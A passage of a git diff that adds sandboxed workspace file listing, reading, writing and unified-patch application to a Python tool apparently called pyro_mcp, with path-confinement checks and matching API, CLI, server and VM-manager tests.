patch_text.splitlines(keepends=True) + patches: list[WorkspaceTextPatch] = [] + index = 0 + + while index < len(lines): + line = lines[index] + if line.startswith("diff --git "): + index += 1 + continue + if line.startswith("index "): + index += 1 + continue + if _is_unsupported_patch_prelude(line): + raise ValueError(f"unsupported patch feature: {line.rstrip()}") + if not line.startswith("--- "): + if line.strip() == "": + index += 1 + continue + raise ValueError(f"invalid patch header: {line.rstrip()}") + old_path = _parse_patch_label(line[4:].rstrip("\n")) + index += 1 + if index >= len(lines) or not lines[index].startswith("+++ "): + raise ValueError("patch is missing '+++' header") + new_path = _parse_patch_label(lines[index][4:].rstrip("\n")) + index += 1 + if old_path is not None and new_path is not None and old_path != new_path: + raise ValueError("rename and copy patches are not supported") + patch_path = new_path or old_path + if patch_path is None: + raise ValueError("patch must target a workspace path") + if old_path is None: + status: WorkspacePatchStatus = "added" + elif new_path is None: + status = "deleted" + else: + status = "modified" + + hunks: list[WorkspacePatchHunk] = [] + while index < len(lines): + line = lines[index] + if line.startswith("diff --git ") or line.startswith("--- "): + break + if line.startswith("index "): + index += 1 + continue + if _is_unsupported_patch_prelude(line): + raise ValueError(f"unsupported patch feature: {line.rstrip()}") + header_match = _PATCH_HUNK_RE.match(line.rstrip("\n")) + if header_match is None: + raise ValueError(f"invalid patch hunk header: {line.rstrip()}") + old_count = int(header_match.group("old_count") or "1") + new_count = int(header_match.group("new_count") or "1") + hunk_lines: list[str] = [] + index += 1 + while index < len(lines): + hunk_line = lines[index] + if hunk_line.startswith(("diff --git ", "--- ", "@@ ")): + break + if hunk_line.startswith("@@"): + break + if hunk_line.startswith("\\ No newline at end of file"): + index += 1 + continue + if not hunk_line.startswith((" ", "+", "-")): + raise ValueError(f"invalid patch hunk line: {hunk_line.rstrip()}") + hunk_lines.append(hunk_line) + index += 1 + _validate_hunk_counts(old_count, new_count, hunk_lines) + hunks.append( + WorkspacePatchHunk( + old_start=int(header_match.group("old_start")), + old_count=old_count, + new_start=int(header_match.group("new_start")), + new_count=new_count, + lines=hunk_lines, + ) + ) + if not hunks: + raise ValueError(f"patch for {patch_path} has no hunks") + patches.append(WorkspaceTextPatch(path=patch_path, status=status, hunks=hunks)) + + if not patches: + raise ValueError("patch must contain at least one file change") + return patches + + +def apply_unified_text_patch( + *, + path: str, + patch: WorkspaceTextPatch, + before_text: str | None, +) -> str | None: + before_lines = [] if before_text is None else before_text.splitlines(keepends=True) + output_lines: list[str] = [] + cursor = 0 + for hunk in patch.hunks: + start_index = 0 if hunk.old_start == 0 else hunk.old_start - 1 + if start_index < cursor or start_index > len(before_lines): + raise RuntimeError(f"patch hunk is out of range for {path}") + output_lines.extend(before_lines[cursor:start_index]) + local_index = start_index + for hunk_line in hunk.lines: + prefix = hunk_line[:1] + payload = hunk_line[1:] + if prefix in {" ", "-"}: + if local_index >= len(before_lines): + raise RuntimeError(f"patch context does not match for {path}") + if before_lines[local_index] != payload: + raise RuntimeError(f"patch context does not match for {path}") + if prefix == " ": + output_lines.append(payload) + local_index += 1 + continue + if prefix == "+": + output_lines.append(payload) + continue + raise RuntimeError(f"invalid patch line prefix for {path}") + cursor = local_index + output_lines.extend(before_lines[cursor:]) + after_text = "".join(output_lines) + if patch.status == "deleted": + if after_text != "": + raise RuntimeError(f"delete patch did not remove all content for {path}") + return None + encoded = after_text.encode("utf-8") + if len(encoded) > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"patched file {path} exceeds the maximum supported size of " + f"{WORKSPACE_FILE_MAX_BYTES} bytes" + ) + return after_text + + +def workspace_host_path(workspace_dir: Path, workspace_path: str) -> Path: + _, host_path = _workspace_host_path(workspace_dir, workspace_path) + return host_path + + +def _workspace_host_path(workspace_dir: Path, workspace_path: str) -> tuple[str, Path]: + normalized = normalize_workspace_path(workspace_path) + suffix = PurePosixPath(normalized).relative_to(WORKSPACE_ROOT) + host_path = workspace_dir if str(suffix) in {"", "."} else workspace_dir.joinpath(*suffix.parts) + return normalized, host_path + + +def normalize_workspace_path(path: str) -> str: + candidate = path.strip() + if candidate == "": + raise ValueError("workspace path must not be empty") + raw_path = PurePosixPath(candidate) + if any(part == ".." for part in raw_path.parts): + raise ValueError("workspace path must stay inside /workspace") + if not raw_path.is_absolute(): + raw_path = WORKSPACE_ROOT / raw_path + parts = [part for part in raw_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise ValueError("workspace path must stay inside /workspace") + if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: + raise ValueError("workspace path must stay inside /workspace") + return str(normalized) + + +def _entry_for_host_path(guest_path: str, host_path: Path) -> WorkspaceFileEntry: + try: + stat_result = os.lstat(host_path) + except FileNotFoundError as exc: + raise RuntimeError(f"workspace path does not exist: {guest_path}") from exc + if os.path.islink(host_path): + return WorkspaceFileEntry( + path=guest_path, + artifact_type="symlink", + size_bytes=stat_result.st_size, + link_target=os.readlink(host_path), + ) + if host_path.is_dir(): + return WorkspaceFileEntry( + path=guest_path, + artifact_type="directory", + size_bytes=0, + link_target=None, + ) + if host_path.is_file(): + return WorkspaceFileEntry( + path=guest_path, + artifact_type="file", + size_bytes=stat_result.st_size, + link_target=None, + ) + raise RuntimeError(f"unsupported workspace path type: {guest_path}") + + +def _join_workspace_path(base: str, child_name: str) -> str: + base_path = PurePosixPath(base) + return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" + + +def _ensure_no_symlink_parents(workspace_dir: Path, target_path: Path, guest_path: str) -> None: + relative_path = target_path.relative_to(workspace_dir) + current = workspace_dir + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"workspace path would traverse through a symlinked parent: {guest_path}" + ) + + +def _validate_max_bytes(max_bytes: int) -> None: + if max_bytes <= 0: + raise ValueError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise ValueError( + f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" + ) + + +def _is_unsupported_patch_prelude(line: str) -> bool: + return line.startswith( + ( + "old mode ", + "new mode ", + "deleted file mode ", + "new file mode ", + "rename from ", + "rename to ", + "copy from ", + "copy to ", + "similarity index ", + "dissimilarity index ", + "GIT binary patch", + "Binary files ", + ) + ) + + +def _parse_patch_label(label: str) -> str | None: + raw = label.split("\t", 1)[0].strip() + if raw == "/dev/null": + return None + if raw.startswith(("a/", "b/")): + raw = raw[2:] + if raw.startswith("/workspace/"): + return normalize_workspace_path(raw) + return normalize_workspace_path(raw) + + +def _validate_hunk_counts(old_count: int, new_count: int, hunk_lines: list[str]) -> None: + old_seen = 0 + new_seen = 0 + for hunk_line in hunk_lines: + prefix = hunk_line[:1] + if prefix in {" ", "-"}: + old_seen += 1 + if prefix in {" ", "+"}: + new_seen += 1 + if old_seen != old_count or new_seen != new_count: + raise ValueError("patch hunk line counts do not match the header") diff --git a/tests/test_api.py b/tests/test_api.py index 3ae927a..7030b8d 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -55,6 +55,10 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "workspace_diff" in tool_names assert "workspace_sync_push" in tool_names assert "workspace_export" in tool_names + assert "workspace_file_list" in tool_names + assert "workspace_file_read" in tool_names + assert "workspace_file_write" in tool_names + assert "workspace_patch_apply" in tool_names assert "workspace_disk_export" in tool_names assert "workspace_disk_list" in tool_names assert "workspace_disk_read" in tool_names @@ -230,6 +234,23 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', secret_env={"API_TOKEN": "API_TOKEN"}, ) + listed_files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) + file_read = pyro.read_workspace_file(workspace_id, "note.txt") + file_write = pyro.write_workspace_file( + workspace_id, + "src/app.py", + text="print('hello from file op')\n", + ) + patch_result = pyro.apply_workspace_patch( + workspace_id, + patch=( + "--- a/note.txt\n" + "+++ b/note.txt\n" + "@@ -1 +1 @@\n" + "-ok\n" + "+patched\n" + ), + ) diff_payload = pyro.diff_workspace(workspace_id) snapshot = pyro.create_snapshot(workspace_id, "checkpoint") snapshots = pyro.list_snapshots(workspace_id) @@ -273,13 +294,19 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: {"name": "FILE_TOKEN", "source_kind": "file"}, ] assert executed["stdout"] == "[REDACTED]\n" + assert any(entry["path"] == "/workspace/note.txt" for entry in listed_files["entries"]) + assert file_read["content"] == "ok\n" + assert file_write["path"] == "/workspace/src/app.py" + assert file_write["bytes_written"] == len("print('hello from file op')\n".encode("utf-8")) + assert patch_result["changed"] is True + assert patch_result["entries"] == [{"path": "/workspace/note.txt", "status": "modified"}] assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert diff_payload["changed"] is True assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" assert snapshots["count"] == 2 assert exported["output_path"] == str(export_path) - assert export_path.read_text(encoding="utf-8") == "ok\n" + assert export_path.read_text(encoding="utf-8") == "patched\n" assert shell_output["output"].count("[REDACTED]") >= 1 assert shell_closed["closed"] is True assert service["state"] == "running" @@ -540,6 +567,304 @@ def test_pyro_create_server_workspace_disk_tools_delegate() -> None: ] +def test_pyro_workspace_file_methods_delegate_to_manager() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_files", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": "hello\n"} + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + calls.append( + ( + "write_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "text": text, + }, + ) + ) + return {"workspace_id": workspace_id, "bytes_written": len(text.encode("utf-8"))} + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + calls.append( + ( + "apply_workspace_patch", + { + "workspace_id": workspace_id, + "patch": patch, + }, + ) + ) + return {"workspace_id": workspace_id, "changed": True} + + pyro = Pyro(manager=cast(Any, StubManager())) + + listed = pyro.list_workspace_files("workspace-123", path="/workspace/src", recursive=True) + read = pyro.read_workspace_file("workspace-123", "note.txt", max_bytes=4096) + written = pyro.write_workspace_file("workspace-123", "src/app.py", text="print('hi')\n") + patched = pyro.apply_workspace_patch( + "workspace-123", + patch="--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + ) + + assert listed["entries"] == [] + assert read["content"] == "hello\n" + assert written["bytes_written"] == len("print('hi')\n".encode("utf-8")) + assert patched["changed"] is True + assert calls == [ + ( + "list_workspace_files", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_file", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ( + "write_workspace_file", + { + "workspace_id": "workspace-123", + "path": "src/app.py", + "text": "print('hi')\n", + }, + ), + ( + "apply_workspace_patch", + { + "workspace_id": "workspace-123", + "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + }, + ), + ] + + +def test_pyro_create_server_workspace_file_tools_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_files", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": "hello\n"} + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + calls.append( + ( + "write_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "text": text, + }, + ) + ) + return {"workspace_id": workspace_id, "bytes_written": len(text.encode("utf-8"))} + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + calls.append( + ( + "apply_workspace_patch", + { + "workspace_id": workspace_id, + "patch": patch, + }, + ) + ) + return {"workspace_id": workspace_id, "changed": True} + + pyro = Pyro(manager=cast(Any, StubManager())) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = pyro.create_server() + listed = _extract_structured( + await server.call_tool( + "workspace_file_list", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ) + ) + read = _extract_structured( + await server.call_tool( + "workspace_file_read", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ) + ) + written = _extract_structured( + await server.call_tool( + "workspace_file_write", + { + "workspace_id": "workspace-123", + "path": "src/app.py", + "text": "print('hi')\n", + }, + ) + ) + patched = _extract_structured( + await server.call_tool( + "workspace_patch_apply", + { + "workspace_id": "workspace-123", + "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + }, + ) + ) + return listed, read, written, patched + + listed, read, written, patched = asyncio.run(_run()) + assert listed["entries"] == [] + assert read["content"] == "hello\n" + assert written["bytes_written"] == len("print('hi')\n".encode("utf-8")) + assert patched["changed"] is True + assert calls == [ + ( + "list_workspace_files", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_file", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ( + "write_workspace_file", + { + "workspace_id": "workspace-123", + "path": "src/app.py", + "text": "print('hi')\n", + }, + ), + ( + "apply_workspace_patch", + { + "workspace_id": "workspace-123", + "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + }, + ), + ] + + def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> None: calls: list[tuple[str, dict[str, Any]]] = [] diff --git a/tests/test_cli.py b/tests/test_cli.py index 872c5a0..7b669af 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -116,6 +116,37 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "--output" in workspace_export_help assert "Export one file or directory from `/workspace`" in workspace_export_help + workspace_file_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "file" + ).format_help() + assert "model-native tree inspection and text edits" in workspace_file_help + assert "pyro workspace file read WORKSPACE_ID src/app.py" in workspace_file_help + + workspace_file_list_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "list" + ).format_help() + assert "--recursive" in workspace_file_list_help + + workspace_file_read_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "read" + ).format_help() + assert "--max-bytes" in workspace_file_read_help + + workspace_file_write_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" + ).format_help() + assert "--text" in workspace_file_write_help + + workspace_patch_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "patch" + ).format_help() + assert "Apply add/modify/delete unified text patches" in workspace_patch_help + + workspace_patch_apply_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "patch"), "apply" + ).format_help() + assert "--patch" in workspace_patch_apply_help + workspace_stop_help = _subparser_choice( _subparser_choice(parser, "workspace"), "stop" ).format_help() @@ -682,6 +713,169 @@ def test_cli_workspace_export_prints_human_output( assert "artifact_type=file" in output +def test_cli_workspace_file_commands_print_human_and_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_workspace_files( + self, + workspace_id: str, + *, + path: str, + recursive: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "/workspace/src" + assert recursive is True + return { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + "entries": [ + { + "path": "/workspace/src/app.py", + "artifact_type": "file", + "size_bytes": 14, + "link_target": None, + } + ], + "execution_mode": "guest_vsock", + } + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "src/app.py" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/src/app.py", + "size_bytes": 14, + "max_bytes": max_bytes, + "content": "print('hi')\n", + "truncated": False, + "execution_mode": "guest_vsock", + } + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "src/app.py" + assert text == "print('hello')\n" + return { + "workspace_id": workspace_id, + "path": "/workspace/src/app.py", + "size_bytes": len(text.encode("utf-8")), + "bytes_written": len(text.encode("utf-8")), + "execution_mode": "guest_vsock", + } + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert patch.startswith("--- a/src/app.py") + return { + "workspace_id": workspace_id, + "changed": True, + "summary": {"total": 1, "added": 0, "modified": 1, "deleted": 0}, + "entries": [{"path": "/workspace/src/app.py", "status": "modified"}], + "patch": patch, + "execution_mode": "guest_vsock", + } + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="list", + workspace_id="workspace-123", + path="/workspace/src", + recursive=True, + json=False, + ) + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="read", + workspace_id="workspace-123", + path="src/app.py", + max_bytes=4096, + json=True, + ) + + class WriteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="write", + workspace_id="workspace-123", + path="src/app.py", + text="print('hello')\n", + json=False, + ) + + class PatchParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="patch", + workspace_patch_command="apply", + workspace_id="workspace-123", + patch=( + "--- a/src/app.py\n" + "+++ b/src/app.py\n" + "@@ -1 +1 @@\n" + "-print('hi')\n" + "+print('hello')\n" + ), + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + cli.main() + list_output = capsys.readouterr().out + assert "Workspace path: /workspace/src (recursive=yes)" in list_output + assert "/workspace/src/app.py [file]" in list_output + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + read_payload = json.loads(capsys.readouterr().out) + assert read_payload["path"] == "/workspace/src/app.py" + assert read_payload["content"] == "print('hi')\n" + + monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) + cli.main() + write_output = capsys.readouterr().out + assert "[workspace-file-write] workspace_id=workspace-123" in write_output + + monkeypatch.setattr(cli, "_build_parser", lambda: PatchParser()) + cli.main() + patch_output = capsys.readouterr().out + assert "[workspace-patch] workspace_id=workspace-123 total=1" in patch_output + + def test_cli_workspace_stop_and_start_print_human_output( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index ab5ad98..406ce16 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -24,6 +24,12 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS, PUBLIC_CLI_WORKSPACE_EXEC_FLAGS, PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, + PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS, + PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS, + PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS, + PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_RESET_FLAGS, PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS, PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS, @@ -121,6 +127,36 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS: assert flag in workspace_export_help_text + workspace_file_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "file" + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS: + assert subcommand_name in workspace_file_help_text + workspace_file_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS: + assert flag in workspace_file_list_help_text + workspace_file_read_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "read" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS: + assert flag in workspace_file_read_help_text + workspace_file_write_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS: + assert flag in workspace_file_write_help_text + workspace_patch_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "patch" + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS: + assert subcommand_name in workspace_patch_help_text + workspace_patch_apply_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "patch"), "apply" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS: + assert flag in workspace_patch_apply_help_text workspace_disk_help_text = _subparser_choice( _subparser_choice(parser, "workspace"), "disk" ).format_help() diff --git a/tests/test_server.py b/tests/test_server.py index 5cfa044..547f0d2 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -36,6 +36,10 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "workspace_stop" in tool_names assert "workspace_diff" in tool_names assert "workspace_export" in tool_names + assert "workspace_file_list" in tool_names + assert "workspace_file_read" in tool_names + assert "workspace_file_write" in tool_names + assert "workspace_patch_apply" in tool_names assert "workspace_disk_export" in tool_names assert "workspace_disk_list" in tool_names assert "workspace_disk_read" in tool_names @@ -247,6 +251,51 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: }, ) ) + listed_files = _extract_structured( + await server.call_tool( + "workspace_file_list", + { + "workspace_id": workspace_id, + "path": "/workspace", + "recursive": True, + }, + ) + ) + file_read = _extract_structured( + await server.call_tool( + "workspace_file_read", + { + "workspace_id": workspace_id, + "path": "note.txt", + "max_bytes": 4096, + }, + ) + ) + file_written = _extract_structured( + await server.call_tool( + "workspace_file_write", + { + "workspace_id": workspace_id, + "path": "src/app.py", + "text": "print('hello from file op')\n", + }, + ) + ) + patched = _extract_structured( + await server.call_tool( + "workspace_patch_apply", + { + "workspace_id": workspace_id, + "patch": ( + "--- a/note.txt\n" + "+++ b/note.txt\n" + "@@ -1 +1 @@\n" + "-ok\n" + "+patched\n" + ), + }, + ) + ) diffed = _extract_structured( await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) ) @@ -338,6 +387,10 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: created, synced, executed, + listed_files, + file_read, + file_written, + patched, diffed, snapshot, snapshots, @@ -357,6 +410,10 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: created, synced, executed, + listed_files, + file_read, + file_written, + patched, diffed, snapshot, snapshots, @@ -379,6 +436,10 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: ] assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert executed["stdout"] == "[REDACTED]\n" + assert any(entry["path"] == "/workspace/note.txt" for entry in listed_files["entries"]) + assert file_read["content"] == "ok\n" + assert file_written["path"] == "/workspace/src/app.py" + assert patched["changed"] is True assert diffed["changed"] is True assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" assert [entry["snapshot_name"] for entry in snapshots["snapshots"]] == [ diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 0613806..e955ce9 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -552,6 +552,91 @@ def test_workspace_diff_and_export_round_trip(tmp_path: Path) -> None: assert logs["count"] == 0 +def test_workspace_file_ops_and_patch_round_trip(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + src_dir = seed_dir / "src" + src_dir.mkdir() + (src_dir / "app.py").write_text('print("bug")\n', encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + listing = manager.list_workspace_files(workspace_id, path="src", recursive=True) + assert listing["entries"] == [ + { + "path": "/workspace/src/app.py", + "artifact_type": "file", + "size_bytes": 13, + "link_target": None, + } + ] + + read_payload = manager.read_workspace_file(workspace_id, "src/app.py") + assert read_payload["content"] == 'print("bug")\n' + + written = manager.write_workspace_file( + workspace_id, + "src/generated/out.txt", + text="generated\n", + ) + assert written["bytes_written"] == 10 + + patch_payload = manager.apply_workspace_patch( + workspace_id, + patch=( + "--- a/src/app.py\n" + "+++ b/src/app.py\n" + "@@ -1 +1 @@\n" + '-print("bug")\n' + '+print("fixed")\n' + "--- /dev/null\n" + "+++ b/src/new.py\n" + "@@ -0,0 +1 @@\n" + '+print("new")\n' + ), + ) + assert patch_payload["changed"] is True + assert patch_payload["summary"] == { + "total": 2, + "added": 1, + "modified": 1, + "deleted": 0, + } + + executed = manager.exec_workspace( + workspace_id, + command="python3 src/app.py && cat src/new.py && cat src/generated/out.txt", + timeout_seconds=30, + ) + assert executed["stdout"] == 'fixed\nprint("new")\ngenerated\n' + + diff_payload = manager.diff_workspace(workspace_id) + assert diff_payload["changed"] is True + assert diff_payload["summary"]["added"] == 2 + assert diff_payload["summary"]["modified"] == 1 + + output_path = tmp_path / "exported-app.py" + export_payload = manager.export_workspace( + workspace_id, + path="src/app.py", + output_path=output_path, + ) + assert export_payload["artifact_type"] == "file" + assert output_path.read_text(encoding="utf-8") == 'print("fixed")\n' + + def test_workspace_export_directory_uses_exact_output_path(tmp_path: Path) -> None: seed_dir = tmp_path / "seed" nested_dir = seed_dir / "src" diff --git a/tests/test_workspace_files.py b/tests/test_workspace_files.py new file mode 100644 index 0000000..a321456 --- /dev/null +++ b/tests/test_workspace_files.py @@ -0,0 +1,427 @@ +from __future__ import annotations + +import os +from pathlib import Path + +import pytest + +from pyro_mcp.workspace_files import ( + WORKSPACE_FILE_MAX_BYTES, + WORKSPACE_PATCH_MAX_BYTES, + WorkspacePatchHunk, + WorkspaceTextPatch, + apply_unified_text_patch, + delete_workspace_path, + list_workspace_files, + normalize_workspace_path, + parse_unified_text_patch, + read_workspace_file, + workspace_host_path, + write_workspace_file, +) + + +def test_workspace_files_list_read_write_and_delete(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "src").mkdir() + (workspace_dir / "src" / "note.txt").write_text("hello\n", encoding="utf-8") + os.symlink("note.txt", workspace_dir / "src" / "note-link") + + listing = list_workspace_files( + workspace_dir, + workspace_path="/workspace/src", + recursive=True, + ) + assert listing.path == "/workspace/src" + assert listing.artifact_type == "directory" + assert [entry.to_payload() for entry in listing.entries] == [ + { + "path": "/workspace/src/note-link", + "artifact_type": "symlink", + "size_bytes": 8, + "link_target": "note.txt", + }, + { + "path": "/workspace/src/note.txt", + "artifact_type": "file", + "size_bytes": 6, + "link_target": None, + }, + ] + + read_payload = read_workspace_file( + workspace_dir, + workspace_path="/workspace/src/note.txt", + ) + assert read_payload.content_bytes == b"hello\n" + + written = write_workspace_file( + workspace_dir, + workspace_path="/workspace/generated/out.txt", + text="generated\n", + ) + assert written.bytes_written == 10 + assert (workspace_dir / "generated" / "out.txt").read_text(encoding="utf-8") == "generated\n" + + deleted = delete_workspace_path( + workspace_dir, + workspace_path="/workspace/generated/out.txt", + ) + assert deleted.deleted is True + assert not (workspace_dir / "generated" / "out.txt").exists() + + +def test_workspace_file_read_and_delete_reject_unsupported_paths(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "dir").mkdir() + (workspace_dir / "file.txt").write_text("ok\n", encoding="utf-8") + os.symlink("file.txt", workspace_dir / "link.txt") + + with pytest.raises(RuntimeError, match="regular files"): + read_workspace_file(workspace_dir, workspace_path="/workspace/dir") + with pytest.raises(RuntimeError, match="regular files"): + read_workspace_file(workspace_dir, workspace_path="/workspace/link.txt") + with pytest.raises(RuntimeError, match="does not support directories"): + delete_workspace_path(workspace_dir, workspace_path="/workspace/dir") + + +def 